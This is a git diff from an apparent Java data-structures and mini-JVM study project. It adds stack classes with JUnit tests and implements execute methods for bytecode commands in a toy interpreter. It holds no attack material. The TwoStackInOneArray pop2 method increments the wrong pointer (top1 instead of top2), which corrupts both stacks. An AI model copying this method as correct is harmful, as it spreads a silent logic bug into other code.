+		Assert.assertEquals(4, stack.findMin());
+		stack.push(4);
+		Assert.assertEquals(4, stack.findMin());
+		
+		stack.pop();
+		Assert.assertEquals(4, stack.findMin());
+		stack.pop();
+		Assert.assertEquals(5, stack.findMin());
+		stack.pop();
+		Assert.assertEquals(5, stack.findMin());
+	}
+
+}
diff --git a/group24/798277403/src/basic/stack/StackWithTwoQueues.java b/group24/798277403/src/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..8901836c34
--- /dev/null
+++ b/group24/798277403/src/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,41 @@
+package basic.stack;
+
+
+import java.util.LinkedList;
+import java.util.Queue;
+
+public class StackWithTwoQueues {
+
+    private Queue<Integer> queue1 = new LinkedList<Integer>();
+    private Queue<Integer> queue2 = new LinkedList<Integer>();
+
+    public void push(int data) {
+        if(queue1.isEmpty()){
+            queue1.add(data);
+            while(!queue2.isEmpty()){
+                queue1.add(queue2.poll());
+            }
+        }else{
+            queue2.add(data);
+            while(!queue1.isEmpty()){
+                queue2.add(queue1.poll());
+            }
+        }
+    }
+
+    public int pop() {
+        if(queue1.isEmpty() && queue2.isEmpty()){
+            throw new RuntimeException("The stack is empty!");
+        }
+        int result = -1;
+        if(queue1.isEmpty()){
+            result = queue2.poll();
+        }else{
+            result = queue1.poll();
+        }
+        return result;
+    }
+
+
+    
+}
diff --git a/group24/798277403/src/basic/stack/StackWithTwoQueuesTest.java b/group24/798277403/src/basic/stack/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..63dcbfda59
--- /dev/null
+++ b/group24/798277403/src/basic/stack/StackWithTwoQueuesTest.java
@@ -0,0 +1,36 @@
+package basic.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class StackWithTwoQueuesTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		StackWithTwoQueues stack = new StackWithTwoQueues();
+        stack.push(1);
+        stack.push(2);
+        stack.push(3);
+        stack.push(4);
+        Assert.assertEquals(4, stack.pop());
+        Assert.assertEquals(3, stack.pop());
+      
+        stack.push(5);
+        Assert.assertEquals(5, stack.pop());
+        Assert.assertEquals(2, stack.pop());
+        Assert.assertEquals(1, stack.pop());
+	}
+
+}
diff --git a/group24/798277403/src/basic/stack/TwoStackInOneArray.java b/group24/798277403/src/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..a5b8267cc1
--- /dev/null
+++ b/group24/798277403/src/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,116 @@
+package basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	private Object[] data ;
+	private int top1 ; //应该把下标对应数据
+	private int top2 ;
+
+	public TwoStackInOneArray(int size){
+		data = new Object[size];
+		top1 = -1;
+		top2 = data.length;
+	}
+
+	public TwoStackInOneArray(){
+		data = new Object[10];
+		top1 = -1;
+		top2 = data.length;
+	}
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		capacity();
+		data[++top1] = o;
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		if(top1==-1){
+			throw  new RuntimeException("The stack is empty!");
+		}
+		Object o = data[top1];
+		data[top1] = null;
+		top1--;
+		return o;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	public Object peek1(){
+		if(top1==-1){
+			throw  new RuntimeException("The stack is empty!");
+		}
+		return data[top1];
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		capacity();
+		data[--top2] = o;
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		if(top2==data.length){
+			throw  new RuntimeException("The stack is empty!");
+		}
+		Object o = data[top2];
+		data[top2] = null;
+		top1++;
+		return o;
+	}
+
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	public Object peek2(){
+		if(top2==data.length){
+			throw  new RuntimeException("The stack is empty!");
+		}
+		return data[top2];
+	}
+
+	public Object[] stack1ToArray(){
+		Object[] result = new Object[top1+1];
+		System.arraycopy(data,0,result,0,top1+1);
+		return result;
+	}
+	public Object[] stack2ToArray(){
+		int stack2Size = data.length-top2;
+		Object[] result = new Object[stack2Size];
+		for(int i=data.length-1,j=0; i>=top2; i--,j++){
+			result[j] = data[i];
+		}
+		return result;
+	}
+
+	//扩容函数
+	private void capacity(){
+		if(top2-top1<=1){
+			int size = data.length*2+1;
+			Object[] newData = new Object[size];
+			System.arraycopy(data,0,newData,0,top1+1);
+			int stack2Size = data.length-top2;
+			System.arraycopy(data,top2,newData,newData.length-stack2Size,stack2Size);
+			top2 = newData.length-stack2Size;
+			data = newData;
+		}
+	}
+}
diff --git a/group24/798277403/src/basic/stack/TwoStackInOneArrayTest.java b/group24/798277403/src/basic/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..27d95352bb
--- /dev/null
+++ b/group24/798277403/src/basic/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,65 @@
+package basic.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+
+
+public class TwoStackInOneArrayTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test1() {
+		TwoStackInOneArray stack = new TwoStackInOneArray(10);
+		stack.push1(1);
+		stack.push1(2);
+		stack.push1(3);
+		stack.push1(4);
+		stack.push1(5);
+		
+		stack.push2(1);
+		stack.push2(2);
+		stack.push2(3);
+		stack.push2(4);
+		stack.push2(5);
+		
+		for(int i=1;i<=5;i++){
+			Assert.assertEquals(stack.peek1(), stack.peek2());
+			Assert.assertEquals(stack.pop1(), stack.pop2());
+		}
+		
+		
+	}
+	@Test
+	public void test2() {
+		TwoStackInOneArray stack = new TwoStackInOneArray(5);
+		stack.push1(1);
+		stack.push1(2);
+		stack.push1(3);
+		stack.push1(4);
+		stack.push1(5);
+		stack.push1(6);
+		stack.push1(7);	
+		
+		stack.push2(1);
+		stack.push2(2);
+		stack.push2(3);
+		stack.push2(4);
+		
+		
+		Assert.assertEquals("[1, 2, 3, 4, 5, 6, 7]",Arrays.toString(stack.stack1ToArray()));
+		Assert.assertEquals("[1, 2, 3, 4]",Arrays.toString(stack.stack2ToArray()));
+	}
+	
+}
diff --git a/group24/798277403/src/mini_jvm/attr/CodeAttr.java b/group24/798277403/src/mini_jvm/attr/CodeAttr.java
index 07df10d251..7d2aa4e760 100644
--- a/group24/798277403/src/mini_jvm/attr/CodeAttr.java
+++ b/group24/798277403/src/mini_jvm/attr/CodeAttr.java
@@ -86,7 +86,7 @@ public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
 		//buffer.append("Code:").append(code).append("\n");
 		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
+			buffer.append(cmds[i].toString()).append("\n");
 		}
 		buffer.append("\n");
 		buffer.append(this.lineNumTable.toString());
diff --git a/group24/798277403/src/mini_jvm/cmd/BiPushCmd.java b/group24/798277403/src/mini_jvm/cmd/BiPushCmd.java
index f07275d3c8..65cde8ba58 100644
--- a/group24/798277403/src/mini_jvm/cmd/BiPushCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/BiPushCmd.java
@@ -2,8 +2,9 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.Heap;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
@@ -14,17 +15,20 @@ public BiPushCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-	
+	public String toString() {
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
 
+	/**
+	 * //将 byte 带符号扩展为一个 int 类型的值 value，然后将 value 压入到操作数栈中。
+	 * @param frame 函数帧
+	 * @param result 函数帧执行结果
+	 */
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
 	}
-	
-	
 
 }
diff --git a/group24/798277403/src/mini_jvm/cmd/ByteCodeCommand.java b/group24/798277403/src/mini_jvm/cmd/ByteCodeCommand.java
index e9e3401010..a2f036400a 100644
--- a/group24/798277403/src/mini_jvm/cmd/ByteCodeCommand.java
+++ b/group24/798277403/src/mini_jvm/cmd/ByteCodeCommand.java
@@ -22,7 +22,7 @@ public abstract class ByteCodeCommand {
 	public static final String new_object = "BB"; //创建一个对象
 	public static final String lstore = "37";
 	public static final String invokespecial = "B7"; //对一个对象进行初始化， 父类的初始化， 调用私有方法
-	public static final String invokevirtual = "B6"; //指令调用对象的实例方法（多态）
+	public static final String invokevirtual = "B6"; //调用对象的实例方法（多态）
 	public static final String getfield = "B4";
 	public static final String putfield = "B5"; //给一个对象的字段赋值
 	public static final String getstatic = "B2";
@@ -147,7 +147,6 @@ public String getReadableCodeText(){
 		}
 		return txt;
 	}
-	public abstract String toString(ConstantPool pool);
 
 	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group24/798277403/src/mini_jvm/cmd/GetFieldCmd.java b/group24/798277403/src/mini_jvm/cmd/GetFieldCmd.java
index 743f892573..c31c7d98a2 100644
--- a/group24/798277403/src/mini_jvm/cmd/GetFieldCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/GetFieldCmd.java
@@ -2,8 +2,9 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.FieldRefInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
@@ -13,13 +14,22 @@ public GetFieldCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		return super.getOperandAsField(pool);
+	public String toString() {
+		return super.getOperandAsField();
 	}
 
+	//获取一个对象的字段
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
+		//根据常量池索引获取字段信息
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+
+		//根据对象的字段名获取value
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
+
+		frame.getOprandStack().push(fieldValue);
 		
 	}
 
diff --git a/group24/798277403/src/mini_jvm/cmd/GetStaticFieldCmd.java b/group24/798277403/src/mini_jvm/cmd/GetStaticFieldCmd.java
index 80c407441c..155e6f4bb1 100644
--- a/group24/798277403/src/mini_jvm/cmd/GetStaticFieldCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/GetStaticFieldCmd.java
@@ -2,8 +2,10 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.FieldRefInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.Heap;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
@@ -14,15 +16,24 @@ public GetStaticFieldCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
+	public String toString() {
+
+		return super.getOperandAsField();
 	}
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
+
+		if("java/lang/System".equals(className)
+				&& "out".equals(fieldName)
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
 	}
 
 }
diff --git a/group24/798277403/src/mini_jvm/cmd/InvokeSpecialCmd.java b/group24/798277403/src/mini_jvm/cmd/InvokeSpecialCmd.java
index ea9e33785d..732906520b 100644
--- a/group24/798277403/src/mini_jvm/cmd/InvokeSpecialCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/InvokeSpecialCmd.java
@@ -2,27 +2,36 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.MethodRefInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.MethodArea;
 import mini_jvm.engine.StackFrame;
+import mini_jvm.method.Method;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
 	public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
 		super(clzFile,opCode);
-		
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
+	public String toString() {
+		return super.getOperandAsMethod();
 	}
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object")
+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
 	}
 
 	
diff --git a/group24/798277403/src/mini_jvm/cmd/InvokeVirtualCmd.java b/group24/798277403/src/mini_jvm/cmd/InvokeVirtualCmd.java
index 5057132d8e..a4d5b0d239 100644
--- a/group24/798277403/src/mini_jvm/cmd/InvokeVirtualCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/InvokeVirtualCmd.java
@@ -2,9 +2,12 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.MethodRefInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.JavaObject;
+import mini_jvm.engine.MethodArea;
 import mini_jvm.engine.StackFrame;
+import mini_jvm.method.Method;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
@@ -13,14 +16,57 @@ public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
+	public String toString() {
+
+		return super.getOperandAsMethod();
+	}
+	private boolean isSystemOutPrintlnMethod(String className, String methodName){
+		return "java/io/PrintStream".equals(className)
+				&& "println".equals(methodName);
 	}
 
+	//调用对象的实例方法（多态）
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			return;
+		}
+
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		MethodArea ma = MethodArea.getInstance();
+		Method m = null;
+		String currentClassName = jo.getClassName();
+		while(currentClassName != null){
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(),
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				break;
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}
+
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(m);
 	}
 
 	
diff --git a/group24/798277403/src/mini_jvm/cmd/LdcCmd.java b/group24/798277403/src/mini_jvm/cmd/LdcCmd.java
index 25a0ea5753..c21732fcc5 100644
--- a/group24/798277403/src/mini_jvm/cmd/LdcCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/LdcCmd.java
@@ -6,6 +6,8 @@
 import mini_jvm.constant.ConstantPool;
 import mini_jvm.constant.StringInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.Heap;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
@@ -13,25 +15,37 @@ public class LdcCmd extends OneOperandCmd {
 	public LdcCmd(ClassFile clzFile, String opCode) {
 		super(clzFile,opCode);		
 	}
-	
+
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
+	public String toString() {
+
+		ConstantInfo info = getConstantInfo(this.getOperand());
+
 		String value = "TBD";
 		if(info instanceof StringInfo){
 			StringInfo strInfo = (StringInfo)info;
 			value = strInfo.toString();
 		}
-		
+
 		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
+
 	}
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
 		
 	}
 	
diff --git a/group24/798277403/src/mini_jvm/cmd/NewObjectCmd.java b/group24/798277403/src/mini_jvm/cmd/NewObjectCmd.java
index 56afe06698..3bdfa198ab 100644
--- a/group24/798277403/src/mini_jvm/cmd/NewObjectCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/NewObjectCmd.java
@@ -2,8 +2,10 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.ClassInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.Heap;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
@@ -13,14 +15,22 @@ public NewObjectCmd(ClassFile clzFile, String opCode){
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
+	public String toString() {
+
+		return super.getOperandAsClassInfo();
 	}
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
+		//（indexbyte1 << 8）| indexbyte2 得到一个指向常量池的索引
+		int index = this.getIndex();
+
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		String clzName = info.getClassName();
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+
+		frame.getOprandStack().push(jo);
 		
 	}
 
diff --git a/group24/798277403/src/mini_jvm/cmd/NoOperandCmd.java b/group24/798277403/src/mini_jvm/cmd/NoOperandCmd.java
index 0a2f285b12..2c65e40346 100644
--- a/group24/798277403/src/mini_jvm/cmd/NoOperandCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/NoOperandCmd.java
@@ -2,32 +2,148 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.Heap;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
-public class NoOperandCmd extends ByteCodeCommand{
+public class NoOperandCmd extends ByteCodeCommand {
 
 	public NoOperandCmd(ClassFile clzFile, String opCode) {
 		super(clzFile, opCode);
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
 	}
 
-	
-	
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+		String opCode = this.getOpCode();
+
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(0);
+
+			frame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(1);
+
+			frame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(2);
+
+			frame.getOprandStack().push(jo);
+
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(1);
+
+			frame.getOprandStack().push(jo);
+
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(2);
+
+			frame.getOprandStack().push(jo);
+
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(3);
+
+			frame.getOprandStack().push(jo);
+
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+
+			JavaObject jo = frame.getLocalVariableValue(3);
+
+			frame.getOprandStack().push(jo);
+
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+
+			JavaObject jo = frame.getOprandStack().pop();
+
+			frame.setLocalVariableValue(1, jo);
+
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+
+			JavaObject jo = Heap.getInstance().newInt(0);
+
+			frame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+
+			JavaObject jo = Heap.getInstance().newInt(1);
+
+			frame.getOprandStack().push(jo);
+
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+
+			JavaObject jo = frame.getOprandStack().pop();
+
+			frame.setLocalVariableValue(1, jo);
+
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+
+			JavaObject jo = frame.getOprandStack().pop();
+
+			frame.setLocalVariableValue(2, jo);
+
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+
+			frame.getOprandStack().push(sum);
+
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+
+			frame.getOprandStack().push(null);
+
+		}
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+
+
+	}
+
+
 	public  int getLength(){
 		return 1;
 	}
 
 
-	@Override
-	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
-	}
 
 }
diff --git a/group24/798277403/src/mini_jvm/cmd/OneOperandCmd.java b/group24/798277403/src/mini_jvm/cmd/OneOperandCmd.java
index 65ef9fe5e3..01b4e680bd 100644
--- a/group24/798277403/src/mini_jvm/cmd/OneOperandCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/OneOperandCmd.java
@@ -2,7 +2,6 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
 
 public abstract class OneOperandCmd extends ByteCodeCommand {
 
@@ -25,6 +24,4 @@ public  int getLength(){
 		return 2;
 	}
 
-
-	public abstract String toString(ConstantPool pool);
 }
diff --git a/group24/798277403/src/mini_jvm/cmd/PutFieldCmd.java b/group24/798277403/src/mini_jvm/cmd/PutFieldCmd.java
index 9e2d80a3c9..fa2f21acd6 100644
--- a/group24/798277403/src/mini_jvm/cmd/PutFieldCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/PutFieldCmd.java
@@ -2,8 +2,11 @@
 
 
 import mini_jvm.clz.ClassFile;
-import mini_jvm.constant.ConstantPool;
+import mini_jvm.constant.ClassInfo;
+import mini_jvm.constant.FieldRefInfo;
+import mini_jvm.constant.NameAndTypeInfo;
 import mini_jvm.engine.ExecutionResult;
+import mini_jvm.engine.JavaObject;
 import mini_jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
@@ -13,15 +16,26 @@ public PutFieldCmd(ClassFile clzFile, String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
+	public String toString() {
+		return super.getOperandAsField();
 	}
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		
-		
+
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+
+		objectRef.setFieldValue(fieldName, fieldValue);
 	}
 
 
diff --git a/group24/798277403/src/mini_jvm/cmd/TwoOperandCmd.java b/group24/798277403/src/mini_jvm/cmd/TwoOperandCmd.java
index 7ec4f5ee38..c49e140b64 100644
--- a/group24/798277403/src/mini_jvm/cmd/TwoOperandCmd.java
+++ b/group24/798277403/src/mini_jvm/cmd/TwoOperandCmd.java
@@ -5,10 +5,10 @@
 import mini_jvm.constant.*;
 
 public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
+
 	int oprand1 = -1;
 	int oprand2 = -1;
-	
+
 	public int getOprand1() {
 		return oprand1;
 	}
@@ -24,8 +24,8 @@ public void setOprand2(int oprand2) {
 	public int getOprand2() {
 		return oprand2;
 	}
-	
-	public TwoOperandCmd(ClassFile clzFile, String opCode) {
+
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
 		super(clzFile, opCode);
 	}
 
@@ -35,15 +35,15 @@ public int getIndex(){
 		int index = oprand1 << 8 | oprand2;
 		return index;
 	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
+
+	protected String getOperandAsClassInfo(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
 	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
+
+	protected String getOperandAsMethod(){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
 		ConstantInfo constInfo = this.getConstantInfo(index);
@@ -51,9 +51,9 @@ protected String getOperandAsMethod(ConstantPool pool){
 		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
 	}
 
-	protected String getOperandAsField(ConstantPool pool){
+	protected String getOperandAsField(){
 		int index = getIndex();
-		
+
 		String codeTxt = getReadableCodeText();
 		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
@@ -62,6 +62,4 @@ public  int getLength(){
 		return 3;
 	}
 
-	public abstract String toString(ConstantPool pool);
-
 }
diff --git a/group24/798277403/src/mini_jvm/constant/MethodRefInfo.java b/group24/798277403/src/mini_jvm/constant/MethodRefInfo.java
index 072378f568..6da55c543f 100644
--- a/group24/798277403/src/mini_jvm/constant/MethodRefInfo.java
+++ b/group24/798277403/src/mini_jvm/constant/MethodRefInfo.java
@@ -1,5 +1,8 @@
 package mini_jvm.constant;
 
+/**
+ * 常量池中  类中方法的符号引用
+ */
 public class MethodRefInfo extends ConstantInfo {
 	
 	private int type = ConstantInfo.METHOD_INFO;
diff --git a/group24/798277403/src/mini_jvm/engine/ExecutorEngine.java b/group24/798277403/src/mini_jvm/engine/ExecutorEngine.java
index 260211376c..379a6cc2cd 100644
--- a/group24/798277403/src/mini_jvm/engine/ExecutorEngine.java
+++ b/group24/798277403/src/mini_jvm/engine/ExecutorEngine.java
@@ -2,10 +2,14 @@
 
 import mini_jvm.method.Method;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.Stack;
 
 
-
+/**
+ * 维护一个函数帧栈
+ */
 public class ExecutorEngine {
 
 	private Stack<StackFrame> stack = new Stack<StackFrame>();
@@ -15,16 +19,61 @@ public ExecutorEngine() {
